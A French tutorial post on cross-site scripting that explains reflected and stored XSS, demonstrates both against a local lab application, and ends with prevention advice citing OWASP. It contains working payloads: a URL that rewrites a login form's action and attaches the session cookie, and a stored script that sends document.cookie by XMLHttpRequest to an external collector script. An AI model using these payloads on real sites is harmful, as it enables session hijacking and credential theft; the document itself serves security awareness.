De plus en plus, les gens sont au courant du top 10 des failles dicté par OWASP (Open Web Applicative Security Project). Par contre peu d'entre eux connaissent vraiment à quel point cette attaque peut être dangereuse. Le XSS étant une vulnérabilité que plusieurs développeurs peuvent considérer comme étant anodine et on ne lui porte pas trop d'attention. Mais à l'aide du XSS le pirate informatique est capable de s'envoyer de l'information de l'usager par exemple son témoin de session, ou il est possible en XSS de redéfinir le comportement d'une page web par exemple changer l'action sur le formulaire afin de pointer sur le site du pirate.


Les deux grand type de XSS :

  1. Le XSS de type réflexion. : ou il est possible de l’exécuter seulement sur la requête courante. ( directement dans l’URL ou lors d’un retour de formulaire)
  2. Le XSS de type stocké est le cas ou le bout de code vulnérable se retrouve dans la base de données et s’exécute à chaque fois que l’on actualise la page.

Il va sans dire que le XSS stocké est plus transparent donc il peut paraître plus dangereux , par contre les 2 façons de l’exploiter sont aussi dangereuses.

Le XSS de type réflexion démonstration d’un cas concret.

Dans le concret, les ce type d’attaque servira à créer un lien que l’on envoie à un usager et que lorsque cliqué, ce lien exécutera le bout de code malicieux.

Prenons par exemple un formulaire d’authentification standard ou l’on demande un courriel et un mot de passe. Premièrement, nous allons tester le comportement de la page web afin de déterminer si celle-ci peut contenir un XSS. Pour que cette page soit vulnérable, le concepteur du site internet doit retourner à l’utilisateur l’information transmise au formulaire. Si l’on fait une erreur dans l’authentification, en général les gens vont garder le nom d’usager en variable de session et le réafficher à l’écran afin que l’utilisateur n’ait pas à le rentrer à chaque fois. Bref ce scénario est propice à une attaque XSS. Maintenant nous devons figurer si le site est vulnérable donc nous allons afficher comme nom d’usager “/>«script»alert(9);«/script» et si le site est vulnérable, il exécutera le code lors de la réponse. Donc imaginez maintenant qu’au lieu de mettre un script pour afficher un alert, le contenue de ce script change le action du formulaire afin de retourner les informations de l’utilisateur vers un site frauduleux, et qu’ensuite il retourne l’utilisateur avec le mot de passe ayant un problème. L’utilisateur ne saura pas qu’il vient de se faire voler ses accès au site internet.

Premièrement il faut tester si le site est vulnérable à l'aide d'une simple balise script dans le champs d'entré.


Introduire un XSS dans le site afin de changer l’action du formulaire vers un script malveillant

Voici la valeur du URL afin de changer le code du formulaire :

http://localhost/appsec/vulnerabilities/xss_r/?name=%3Cscript%3Einput=document.createElement%28%27input%27%29;input.setAttribute%28%27type%27,%27hidden%27%29;input.setAttribute%28%27name%27,%27infos%27%29;input.setAttribute%28%27value%27,document.cookie%29;document.forms[0].appendChild%28input%29;document.forms[0].action=%27http://localhost/demo/xss/xss.php%27%3B%3C%2Fscript%3E#

Le résultat sur la page web n'indique aucun changement à la victime, donc aucun doute possible :


Cependant lorsque l’utilisateur clique sur le lien reçu et entre quelque chose pour ensuite soumettre le formulaire, la page ne redirigera pas l’usager sur le site courant, mais bien vers un site externe:


Le XSS de type stocké démonstration d’un cas concret.

Tel que documenté plus haut, le site internet étant vulnérable à ce type de XSS doit insérer le code malicieux dans une base de données et lorsque le contenu sera lu par le navigateur, le bout de code malicieux s’exécutera afin de modifier le comportement de la page ou exécuteras un AJAX qui enverra les informations de l’utilisateur vers un autre site internet.

Prenons l’exemple fréquent d’un blogue, les gens sont invités à laisser des commentaires suite à l’article. Ses commentaires sont ensuite insérés dans une base de données pour ensuite être affichés aux autres utilisateurs du site internet. L’attaque XSS sera donc insérée dans le commentaire à l’aide d’une balise script ce qui aura pour effets que chaque utilisateur exécutera le script à chaque visite de la page. Ce script pourrait changer le comportement de la page web, modifier l’article ce qui pourrait induire plusieurs gens en erreur.

Voici un bel exemple de comment cette vulnérabilité est utilisée dans un cas réel On entre un script dans un formulaire et tente de voir si le script est exécuté par le serveur :


Le résultat est positif :


Bien sûr ici le serveur exécute un alert ce qui n’est pas bien bien dommageable pour un utilisateur. Imaginez que le script envoie votre témoin de session à un script externe en ajax avec un script entré de ce genre :

«script»var url="http://localhost/demo/xss/x.php?sess=".concat(encodeURIComponent(document.cookie));var xmlhttp;if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();}else{xmlhttp= new ActiveXObject('Microsoft.XMLHTTP');};xmlhttp.open('GET', url, true);xmlhttp.send();«/script»

Et vous serez en mesure d’obtenir toutes les informations nécessaires afin voler l’identité de la personne actuellement connectée sur le site internet si le site internet ne valide pas bien l'accès sur les cookies.

Quelques conseils

  1. Afin de prévenir le XSS il faut prendre en considération toutes les entrées en provenance des clients. Chaque entrée en provenance d’un client se doit d’être traitée sans aucune confiance.
  2. Chaque affichage à l’écran doit être filtré afin de ne pas permettre l’accès aux différentes balises «script».
  3. Ne pas essayer d’inventer la roue et de créer ses propres algorithmes de sécurité. Des experts ont investi du temps sur la question, utilisez leur API qui sont testé et mis à jour couramment par la communauté de sécurité applicative.
  4. Ajoutez les en-têtes HTTP nécessaires afin que les navigateurs web récents prennent en considération les XSS et active leurs algorithmes de protection à l’interne.
  5. Consulter le site de l’OWASP sur comment se protéger afin d’être à l’affût des différentes façons de prévenir cette attaque.